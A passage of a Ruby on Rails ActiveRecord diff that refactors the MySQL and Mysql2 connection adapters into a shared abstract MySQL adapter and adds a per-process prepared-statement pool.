default.nil? + execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") + end + + change_column table_name, column_name, column.sql_type, :null => null + end + + def change_column(table_name, column_name, type, options = {}) #:nodoc: + execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}") + end + + def rename_column(table_name, column_name, new_column_name) #:nodoc: + execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}") + end + + # Maps logical Rails types to MySQL-specific data types. + def type_to_sql(type, limit = nil, precision = nil, scale = nil) + return super unless type.to_s == 'integer' + + case limit + when 1; 'tinyint' + when 2; 'smallint' + when 3; 'mediumint' + when nil, 4, 11; 'int(11)' # compatibility with MySQL default + when 5..8; 'bigint' + else raise(ActiveRecordError, "No integer type has byte size #{limit}") + end + end + + def add_column_position!(sql, options) + if options[:first] + sql << " FIRST" + elsif options[:after] + sql << " AFTER #{quote_column_name(options[:after])}" + end + end + + # SHOW VARIABLES LIKE 'name' + def show_variable(name) + variables = select_all("SHOW VARIABLES LIKE '#{name}'") + variables.first['Value'] unless variables.empty? + end + + # Returns a table's primary key and belonging sequence. + def pk_and_sequence_for(table) + execute_and_free("DESCRIBE #{quote_table_name(table)}", 'SCHEMA') do |result| + keys = each_hash(result).select { |row| row[:Key] == 'PRI' }.map { |row| row[:Field] } + keys.length == 1 ? [keys.first, nil] : nil + end + end + + # Returns just a table's primary key + def primary_key(table) + pk_and_sequence = pk_and_sequence_for(table) + pk_and_sequence && pk_and_sequence.first + end + + def case_sensitive_modifier(node) + Arel::Nodes::Bin.new(node) + end + + def case_insensitive_comparison(table, attribute, column, value) + if column.case_sensitive? + super + else + table[attribute].eq(value) + end + end + + def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key) + where_sql + end + + protected + + def quoted_columns_for_index(column_names, options = {}) + length = options[:length] if options.is_a?(Hash) + + case length + when Hash + column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) } + when Fixnum + column_names.map {|name| "#{quote_column_name(name)}(#{length})"} + else + column_names.map {|name| quote_column_name(name) } + end + end + + def translate_exception(exception, message) + case error_number(exception) + when 1062 + RecordNotUnique.new(message, exception) + when 1452 + InvalidForeignKey.new(message, exception) + else + super + end + end + + def add_column_sql(table_name, column_name, type, options = {}) + add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" + add_column_options!(add_column_sql, options) + add_column_position!(add_column_sql, options) + add_column_sql + end + + def change_column_sql(table_name, column_name, type, options = {}) + column = column_for(table_name, column_name) + + unless options_include_default?(options) + options[:default] = column.default + end + + unless options.has_key?(:null) + options[:null] = column.null + end + + change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" + add_column_options!(change_column_sql, options) + add_column_position!(change_column_sql, options) + change_column_sql + end + + def rename_column_sql(table_name, column_name, new_column_name) + options = {} + + if column = columns(table_name).find { |c| c.name == column_name.to_s } + options[:default] = column.default + options[:null] = column.null + else + raise ActiveRecordError, "No such column: #{table_name}.#{column_name}" + end + + current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"] + rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}" + add_column_options!(rename_column_sql, options) + rename_column_sql + end + + def remove_column_sql(table_name, *column_names) + columns_for_remove(table_name, *column_names).map {|column_name| "DROP #{column_name}" } + end + alias :remove_columns_sql :remove_column + + def add_index_sql(table_name, column_name, options = {}) + index_name, index_type, index_columns = add_index_options(table_name, column_name, options) + "ADD #{index_type} INDEX #{index_name} (#{index_columns})" + end + + def remove_index_sql(table_name, options = {}) + index_name = index_name_for_remove(table_name, options) + "DROP INDEX #{index_name}" + end + + def add_timestamps_sql(table_name) + [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)] + end + + def remove_timestamps_sql(table_name) + [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)] + end + + private + + def supports_views? + version[0] >= 5 + end + + def column_for(table_name, column_name) + unless column = columns(table_name).find { |c| c.name == column_name.to_s } + raise "No such column: #{table_name}.#{column_name}" + end + column + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb index 3eddb69e73..a7856539b7 100644 --- a/activerecord/lib/active_record/connection_adapters/column.rb +++ b/activerecord/lib/active_record/connection_adapters/column.rb @@ -1,3 +1,5 @@ +require 'set' + module ActiveRecord # :stopdoc: module ConnectionAdapters diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb index ac2da73a84..971f3c35f3 100644 --- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb @@ -1,6 +1,6 @@ -# encoding: utf-8 +require 'active_record/connection_adapters/abstract_mysql_adapter' -gem 'mysql2', '~> 0.3.0' +gem 'mysql2', '~> 0.3.6' require 'mysql2' module ActiveRecord @@ -20,187 +20,51 @@ module ActiveRecord end module ConnectionAdapters - class Mysql2IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths) #:nodoc: - end + class Mysql2Adapter < AbstractMysqlAdapter - class Mysql2Column < Column - BOOL = "tinyint(1)" - def extract_default(default) - if sql_type =~ /blob/i || type == :text - if default.blank? - return null ? nil : '' - else - raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}" - end - elsif missing_default_forged_as_empty_string?(default) - nil - else - super + class Column < AbstractMysqlAdapter::Column # :nodoc: + def adapter + Mysql2Adapter end end - def has_default? - return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns - super - end - - private - def simplified_type(field_type) - return :boolean if Mysql2Adapter.emulate_booleans && field_type.downcase.index(BOOL) - - case field_type - when /enum/i, /set/i then :string - when /year/i then :integer - when /bit/i then :binary - else - super - end - end - - def extract_limit(sql_type) - case sql_type - when /blob|text/i - case sql_type - when /tiny/i - 255 - when /medium/i - 16777215 - when /long/i - 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases - else - super # we could return 65535 here, but we leave it undecorated by default - end - when /^bigint/i; 8 - when /^int/i; 4 - when /^mediumint/i; 3 - when /^smallint/i; 2 - when /^tinyint/i; 1 - else - super - end - end - - # MySQL misreports NOT NULL column default when none is given. - # We can't detect this for columns which may have a legitimate '' - # default (string) but we can for others (integer, datetime, boolean, - # and the rest). - # - # Test whether the column has default '', is not null, and is not - # a type allowing default ''. - def missing_default_forged_as_empty_string?(default) - type != :string && !null && default == '' - end - end - - class Mysql2Adapter < AbstractAdapter - cattr_accessor :emulate_booleans - self.emulate_booleans = true - ADAPTER_NAME = 'Mysql2' - PRIMARY = "PRIMARY" - - LOST_CONNECTION_ERROR_MESSAGES = [ - "Server shutdown in progress", - "Broken pipe", - "Lost connection to MySQL server during query", - "MySQL server has gone away" ] - - QUOTED_TRUE, QUOTED_FALSE = '1', '0' - - NATIVE_DATABASE_TYPES = { - :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY", - :string => { :name => "varchar", :limit => 255 }, - :text => { :name => "text" }, - :integer => { :name => "int", :limit => 4 }, - :float => { :name => "float" }, - :decimal => { :name => "decimal" }, - :datetime => { :name => "datetime" }, - :timestamp => { :name => "datetime" }, - :time => { :name => "time" }, - :date => { :name => "date" }, - :binary => { :name => "blob" }, - :boolean => { :name => "tinyint", :limit => 1 } - } def initialize(connection, logger, connection_options, config) - super(connection, logger) - @connection_options, @config = connection_options, config - @quoted_column_names, @quoted_table_names = {}, {} + super configure_connection end - def adapter_name - ADAPTER_NAME - end - - # Returns true, since this connection adapter supports migrations. - def supports_migrations? - true - end - - def supports_primary_key? - true - end + # HELPER METHODS =========================================== - # Returns true, since this connection adapter supports savepoints. - def supports_savepoints? - true - end - - def native_database_types - NATIVE_DATABASE_TYPES - end - - # QUOTING ================================================== - - def quote(value, column = nil) - if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary) - s = column.class.string_to_binary(value).unpack("H*")[0] - "x'#{s}'" - elsif value.kind_of?(BigDecimal) - value.to_s("F") + def each_hash(result) # :nodoc: + if block_given? + result.each(:as => :hash, :symbolize_keys => true) do |row| + yield row + end else - super + to_enum(:each_hash, result) end end - def quote_column_name(name) #:nodoc: - @quoted_column_names[name] ||= "`#{name}`" + def new_column(field, default, type, null, collation) # :nodoc: + Column.new(field, default, type, null, collation) end - def quote_table_name(name) #:nodoc: - @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`') + def error_number(exception) + exception.error_number if exception.respond_to?(:error_number) end + # QUOTING ================================================== + def quote_string(string) @connection.escape(string) end - def quoted_true - QUOTED_TRUE - end - - def quoted_false - QUOTED_FALSE - end - def substitute_at(column, index) Arel.sql "\0" end - # REFERENTIAL INTEGRITY ==================================== - - def disable_referential_integrity(&block) #:nodoc: - old = select_value("SELECT @@FOREIGN_KEY_CHECKS") - - begin - update("SET FOREIGN_KEY_CHECKS = 0") - yield - ensure - update("SET FOREIGN_KEY_CHECKS = #{old}") - end - end - # CONNECTION MANAGEMENT ==================================== def active? @@ -213,11 +77,6 @@ module ActiveRecord connect end - # this is set to true in 2.3, but we don't want it to be - def requires_reloading? - false - end - # Disconnects from the database if already connected. # Otherwise, this method does nothing. def disconnect! @@ -273,17 +132,22 @@ module ActiveRecord # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been # made since we established the connection @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone - if name == :skip_logging - @connection.query(sql) - else - log(sql, name) { @connection.query(sql) } - end - rescue ActiveRecord::StatementInvalid => exception - if exception.message.split(":").first =~ /Packets out of order/ - raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings." - else - raise - end + + super + end + + def exec_query(sql, name = 'SQL', binds = []) + result = execute(sql, name) + ActiveRecord::Result.new(result.fields, result.to_a) + end + + alias exec_without_stmt exec_query + + # Returns an array of record hashes with the column names as keys and + # column values as values. + def select(sql, name = nil, binds = []) + binds = binds.dup + exec_query(sql.gsub("\0") { quote(*binds.shift.reverse) }, name).to_a end def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) @@ -312,380 +176,35 @@ module ActiveRecord @connection.last_id end - def update_sql(sql, name = nil) - super - @connection.affected_rows - end - - def begin_db_transaction - execute "BEGIN" - rescue Exception - # Transactions aren't supported - end - - def commit_db_transaction - execute "COMMIT" - rescue Exception - # Transactions aren't supported - end - - def rollback_db_transaction - execute "ROLLBACK" - rescue Exception - # Transactions aren't supported - end - - def create_savepoint - execute("SAVEPOINT #{current_savepoint_name}") - end - - def rollback_to_savepoint - execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}") - end - - def release_savepoint - execute("RELEASE SAVEPOINT #{current_savepoint_name}") - end - - def add_limit_offset!(sql, options) - limit, offset = options[:limit], options[:offset] - if limit && offset - sql << " LIMIT #{offset.to_i}, #{sanitize_limit(limit)}" - elsif limit - sql << " LIMIT #{sanitize_limit(limit)}" - elsif offset - sql << " OFFSET #{offset.to_i}" - end - sql - end - deprecate :add_limit_offset! - - # SCHEMA STATEMENTS ======================================== - - def structure_dump - if supports_views? - sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'" - else - sql = "SHOW TABLES" - end - - select_all(sql).inject("") do |structure, table| - table.delete('Table_type') - structure += select_one("SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}")["Create Table"] + ";\n\n" - end - end - - # Drops the database specified on the +name+ attribute - # and creates it again using the provided +options+. - def recreate_database(name, options = {}) - drop_database(name) - create_database(name, options) - end - - # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>. - # Charset defaults to utf8. - # - # Example: - # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin' - # create_database 'matt_development' - # create_database 'matt_development', :charset => :big5 - def create_database(name, options = {}) - if options[:collation] - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`" - else - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`" - end - end - - # Drops a MySQL database. - # - # Example: - # drop_database('sebastian_development') - def drop_database(name) #:nodoc: - execute "DROP DATABASE IF EXISTS `#{name}`" - end - - def current_database - select_value 'SELECT DATABASE() as db' - end - - # Returns the database character set. - def charset - show_variable 'character_set_database' - end - - # Returns the database collation strategy. - def collation - show_variable 'collation_database' - end - - def tables(name = nil, database = nil) #:nodoc: - sql = ["SHOW TABLES", database].compact.join(' IN ') - execute(sql, 'SCHEMA').collect do |field| - field.first - end - end - - def table_exists?(name) - return true if super - - name = name.to_s - schema, table = name.split('.', 2) - - unless table # A table was provided without a schema - table = schema - schema = nil - end - - tables(nil, schema).include? table - end - - def drop_table(table_name, options = {}) - super(table_name, options) - end - - # Returns an array of indexes for the given table. - def indexes(table_name, name = nil) - indexes = [] - current_index = nil - result = execute("SHOW KEYS FROM #{quote_table_name(table_name)}", 'SCHEMA') - result.each(:symbolize_keys => true, :as => :hash) do |row| - if current_index != row[:Key_name] - next if row[:Key_name] == PRIMARY # skip the primary key - current_index = row[:Key_name] - indexes << Mysql2IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique] == 0, [], []) - end - - indexes.last.columns << row[:Column_name] - indexes.last.lengths << row[:Sub_part] - end - indexes - end - - # Returns an array of +Mysql2Column+ objects for the table specified by +table_name+. - def columns(table_name, name = nil) - sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}" - columns = [] - result = execute(sql, 'SCHEMA') - result.each(:symbolize_keys => true, :as => :hash) { |field| - columns << Mysql2Column.new(field[:Field], field[:Default], field[:Type], field[:Null] == "YES") - } - columns - end - - def create_table(table_name, options = {}) - super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB")) - end - - # Renames a table. - # - # Example: - # rename_table('octopuses', 'octopi') - def rename_table(table_name, new_name) - execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}" - end - - def add_column(table_name, column_name, type, options = {}) - add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" - add_column_options!(add_column_sql, options) - add_column_position!(add_column_sql, options) - execute(add_column_sql) - end - - def change_column_default(table_name, column_name, default) - column = column_for(table_name, column_name) - change_column table_name, column_name, column.sql_type, :default => default - end - - def change_column_null(table_name, column_name, null, default = nil) - column = column_for(table_name, column_name) - - unless null || default.nil? - execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") - end - - change_column table_name, column_name, column.sql_type, :null => null - end - - def change_column(table_name, column_name, type, options = {}) - column = column_for(table_name, column_name) - - unless options_include_default?(options) - options[:default] = column.default - end - - unless options.has_key?(:null) - options[:null] = column.null - end - - change_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}" - add_column_options!(change_column_sql, options) - add_column_position!(change_column_sql, options) - execute(change_column_sql) - end - - def rename_column(table_name, column_name, new_column_name) - options = {} - if column = columns(table_name).find { |c| c.name == column_name.to_s } - options[:default] = column.default - options[:null] = column.null - else - raise ActiveRecordError, "No such column: #{table_name}.#{column_name}" - end - current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"] - rename_column_sql = "ALTER TABLE #{quote_table_name(table_name)} CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}" - add_column_options!(rename_column_sql, options) - execute(rename_column_sql) - end - - # Maps logical Rails types to MySQL-specific data types. - def type_to_sql(type, limit = nil, precision = nil, scale = nil) - return super unless type.to_s == 'integer' - - case limit - when 1; 'tinyint' - when 2; 'smallint' - when 3; 'mediumint' - when nil, 4, 11; 'int(11)' # compatibility with MySQL default - when 5..8; 'bigint' - else raise(ActiveRecordError, "No integer type has byte size #{limit}") - end - end + private - def add_column_position!(sql, options) - if options[:first] - sql << " FIRST" - elsif options[:after] - sql << " AFTER #{quote_column_name(options[:after])}" - end + def connect + @connection = Mysql2::Client.new(@config) + configure_connection end - # SHOW VARIABLES LIKE 'name'. - def show_variable(name) - variables = select_all("SHOW VARIABLES LIKE '#{name}'") - variables.first['Value'] unless variables.empty? - end + def configure_connection + @connection.query_options.merge!(:as => :array) - # Returns a table's primary key and belonging sequence. - def pk_and_sequence_for(table) - keys = [] - result = execute("DESCRIBE #{quote_table_name(table)}", 'SCHEMA') - result.each(:symbolize_keys => true, :as => :hash) do |row| - keys << row[:Field] if row[:Key] == "PRI" - end - keys.length == 1 ? [keys.first, nil] : nil - end + # By default, MySQL 'where id is null' selects the last inserted id. + # Turn this off. http://dev.rubyonrails.org/ticket/6778 + variable_assignments = ['SQL_AUTO_IS_NULL=0'] + encoding = @config[:encoding] - # Returns just a table's primary key - def primary_key(table) - pk_and_sequence = pk_and_sequence_for(table) - pk_and_sequence && pk_and_sequence.first - end + # make sure we set the encoding + variable_assignments << "NAMES '#{encoding}'" if encoding - def case_sensitive_equality_operator - "= BINARY" - end - deprecate :case_sensitive_equality_operator + # increase timeout so mysql server doesn't disconnect us + wait_timeout = @config[:wait_timeout] + wait_timeout = 2592000 unless wait_timeout.is_a?(Fixnum) + variable_assignments << "@@wait_timeout = #{wait_timeout}" - def case_sensitive_modifier(node) - Arel::Nodes::Bin.new(node) + execute("SET #{variable_assignments.join(', ')}", :skip_logging) end - def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key) - where_sql + def version + @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i } end - - protected - def quoted_columns_for_index(column_names, options = {}) - length = options[:length] if options.is_a?(Hash) - - quoted_column_names = case length - when Hash - column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) } - when Fixnum - column_names.map {|name| "#{quote_column_name(name)}(#{length})"} - else - column_names.map {|name| quote_column_name(name) } - end - end - - def translate_exception(exception, message) - return super unless exception.respond_to?(:error_number) - - case exception.error_number - when 1062 - RecordNotUnique.new(message, exception) - when 1452 - InvalidForeignKey.new(message, exception) - else - super - end - end - - private - def connect - @connection = Mysql2::Client.new(@config) - configure_connection - end - - def configure_connection - @connection.query_options.merge!(:as => :array) - - # By default, MySQL 'where id is null' selects the last inserted id. - # Turn this off. http://dev.rubyonrails.org/ticket/6778 - variable_assignments = ['SQL_AUTO_IS_NULL=0'] - encoding = @config[:encoding] - - # make sure we set the encoding - variable_assignments << "NAMES '#{encoding}'" if encoding - - # increase timeout so mysql server doesn't disconnect us - wait_timeout = @config[:wait_timeout] - wait_timeout = 2592000 unless wait_timeout.is_a?(Fixnum) - variable_assignments << "@@wait_timeout = #{wait_timeout}" - - execute("SET #{variable_assignments.join(', ')}", :skip_logging) - end - - # Returns an array of record hashes with the column names as keys and - # column values as values. - def select(sql, name = nil, binds = []) - binds = binds.dup - exec_query(sql.gsub("\0") { quote(*binds.shift.reverse) }, name).to_a - end - - def exec_query(sql, name = 'SQL', binds = []) - @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone - - log(sql, name, binds) do - begin - result = @connection.query(sql) - rescue ActiveRecord::StatementInvalid => exception - if exception.message.split(":").first =~ /Packets out of order/ - raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings." - else - raise - end - end - - ActiveRecord::Result.new(result.fields, result.to_a) - end - end - - def supports_views? - version[0] >= 5 - end - - def version - @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i } - end - - def column_for(table_name, column_name) - unless column = columns(table_name).find { |c| c.name == column_name.to_s } - raise "No such column: #{table_name}.#{column_name}" - end - column - end end end end diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb index a9f4c08348..f092edecda 100644 --- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb @@ -1,7 +1,6 @@ -require 'active_record/connection_adapters/abstract_adapter' -require 'active_support/core_ext/kernel/requires' -require 'active_support/core_ext/object/blank' -require 'set' +require 'active_record/connection_adapters/abstract_mysql_adapter' +require 'active_record/connection_adapters/statement_pool' +require 'active_support/core_ext/hash/keys' gem 'mysql', '~> 2.8.1' require 'mysql' @@ -41,9 +40,29 @@ module ActiveRecord end module ConnectionAdapters - class MysqlColumn < Column #:nodoc: - class << self - def string_to_time(value) + # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with + # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/). + # + # Options: + # + # * <tt>:host</tt> - Defaults to "localhost". + # * <tt>:port</tt> - Defaults to 3306. + # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock". + # * <tt>:username</tt> - Defaults to "root" + # * <tt>:password</tt> - Defaults to nothing. + # * <tt>:database</tt> - The name of the database. No default, must be provided. + # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection. + # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html). + # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection. + # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection. + # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection. + # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection. + # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection. + # + class MysqlAdapter < AbstractMysqlAdapter + + class Column < AbstractMysqlAdapter::Column #:nodoc: + def self.string_to_time(value) return super unless Mysql::Time === value new_time( value.year, @@ -55,230 +74,102 @@ module ActiveRecord value.second_part) end - def string_to_dummy_time(v) + def self.string_to_dummy_time(v) return super unless Mysql::Time === v new_time(2000, 01, 01, v.hour, v.minute, v.second, v.second_part) end - def string_to_date(v) + def self.string_to_date(v) return super unless Mysql::Time === v new_date(v.year, v.month, v.day) end - end - def extract_default(default) - if sql_type =~ /blob/i || type == :text - if default.blank? - return null ? nil : '' - else - raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}" - end - elsif missing_default_forged_as_empty_string?(default) - nil - else - super + def adapter + MysqlAdapter end end - def has_default? - return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns - super - end + ADAPTER_NAME = 'MySQL' - private - def simplified_type(field_type) - return :boolean if MysqlAdapter.emulate_booleans && field_type.downcase.index("tinyint(1)") - return :string if field_type =~ /enum/i + class StatementPool < ConnectionAdapters::StatementPool + def initialize(connection, max = 1000) super + @cache = Hash.new { |h,pid| h[pid] = {} } end - def extract_limit(sql_type) - case sql_type - when /blob|text/i - case sql_type - when /tiny/i - 255 - when /medium/i - 16777215 - when /long/i - 2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases - else - super # we could return 65535 here, but we leave it undecorated by default - end - when /^bigint/i; 8 - when /^int/i; 4 - when /^mediumint/i; 3 - when /^smallint/i; 2 - when /^tinyint/i; 1 - else - super + def each(&block); cache.each(&block); end + def key?(key); cache.key?(key); end + def [](key); cache[key]; end + def length; cache.length; end + def delete(key); cache.delete(key); end + + def []=(sql, key) + while @max <= cache.size + cache.shift.last[:stmt].close end + cache[sql] = key end - # MySQL misreports NOT NULL column default when none is given. - # We can't detect this for columns which may have a legitimate '' - # default (string) but we can for others (integer, datetime, boolean, - # and the rest). - # - # Test whether the column has default '', is not null, and is not - # a type allowing default ''. - def missing_default_forged_as_empty_string?(default) - type != :string && !null && default == '' + def clear + cache.values.each do |hash| + hash[:stmt].close + end + cache.clear end - end - # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with - # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/). - # - # Options: - # - # * <tt>:host</tt> - Defaults to "localhost". - # * <tt>:port</tt> - Defaults to 3306. - # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock". - # * <tt>:username</tt> - Defaults to "root" - # * <tt>:password</tt> - Defaults to nothing. - # * <tt>:database</tt> - The name of the database. No default, must be provided. - # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection. - # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html). - # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection. - # - class MysqlAdapter < AbstractAdapter - - ## - # :singleton-method: - # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt> - # as boolean. If you wish to disable this emulation (which was the default - # behavior in versions 0.13.1 and earlier) you can add the following line - # to your application.rb file: - # - # ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false - cattr_accessor :emulate_booleans - self.emulate_booleans = true - - ADAPTER_NAME = 'MySQL' - - LOST_CONNECTION_ERROR_MESSAGES = [ - "Server shutdown in progress", - "Broken pipe", - "Lost connection to MySQL server during query", - "MySQL server has gone away" ] - - QUOTED_TRUE, QUOTED_FALSE = '1', '0' - - NATIVE_DATABASE_TYPES = { - :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY", - :string => { :name => "varchar", :limit => 255 }, - :text => { :name => "text" }, - :integer => { :name => "int", :limit => 4 }, - :float => { :name => "float" }, - :decimal => { :name => "decimal" }, - :datetime => { :name => "datetime" }, - :timestamp => { :name => "datetime" }, - :time => { :name => "time" }, - :date => { :name => "date" }, - :binary => { :name => "blob" }, - :boolean => { :name => "tinyint", :limit => 1 } - } + private + def cache + @cache[$$] + end + end def initialize(connection, logger, connection_options, config) - super(connection, logger) - @connection_options, @config = connection_options, config - @quoted_column_names, @quoted_table_names = {}, {} - @statements = {} + super + @statements = StatementPool.new(@connection, + config.fetch(:statement_limit) { 1000 }) @client_encoding = nil connect end - def adapter_name #:nodoc: - ADAPTER_NAME - end - - def supports_bulk_alter? #:nodoc: - true - end - # Returns true, since this connection adapter supports prepared statement # caching. def supports_statement_cache? true end - # Returns true, since this connection adapter supports migrations. - def supports_migrations? #:nodoc: - true - end + # HELPER METHODS =========================================== - # Returns true. - def supports_primary_key? #:nodoc: - true + def each_hash(result) # :nodoc: + if block_given? + result.each_hash do |row| + row.symbolize_keys! + yield row + end + else + to_enum(:each_hash, result) + end end - # Returns true, since this connection adapter supports savepoints. - def supports_savepoints? #:nodoc: - true + def new_column(field, default, type, null, collation) # :nodoc: + Column.new(field, default, type, null, collation) end - def native_database_types #:nodoc: - NATIVE_DATABASE_TYPES + def error_number(exception) # :nodoc: + exception.errno if exception.respond_to?(:errno) end - # QUOTING ================================================== - def quote(value, column = nil) - if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary) - s = column.class.string_to_binary(value).unpack("H*")[0] - "x'#{s}'" - elsif value.kind_of?(BigDecimal) - value.to_s("F") - else - super - end - end - def type_cast(value, column) return super unless value == true || value == false value ? 1 : 0 end - def quote_column_name(name) #:nodoc: - @quoted_column_names[name] ||= "`#{name}`" - end - - def quote_table_name(name) #:nodoc: - @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`') - end - def quote_string(string) #:nodoc: @connection.quote(string) end - def quoted_true - QUOTED_TRUE - end - - def quoted_false - QUOTED_FALSE - end - - # REFERENTIAL INTEGRITY ==================================== - - def disable_referential_integrity #:nodoc: - old = select_value("SELECT @@FOREIGN_KEY_CHECKS") - - begin - update("SET FOREIGN_KEY_CHECKS = 0") - yield - ensure - update("SET FOREIGN_KEY_CHECKS = #{old}") - end - end - # CONNECTION MANAGEMENT ==================================== def active? @@ -330,9 +221,6 @@ module ActiveRecord # Clears the prepared statements cache. def clear_cache! - @statements.values.each do |cache| - cache[:stmt].close - end @statements.clear end @@ -407,7 +295,7 @@ module ActiveRecord def exec_without_stmt(sql, name = 'SQL') # :nodoc: # Some queries, like SHOW CREATE TABLE don't work through the prepared - # statement API. For those queries, we need to use this method. :'( + # statement API. For those queries, we need to use this method. :'( log(sql, name) do result = @connection.query(sql) cols = [] @@ -422,20 +310,11 @@ module ActiveRecord end end - # Executes an SQL query and returns a MySQL::Result object. Note that you have to free - # the Result object after you're done using it. - def execute(sql, name = nil) #:nodoc: - if name == :skip_logging - @connection.query(sql) - else - log(sql, name) { @connection.query(sql) } - end - rescue ActiveRecord::StatementInvalid => exception - if exception.message.split(":").first =~ /Packets out of order/ - raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) 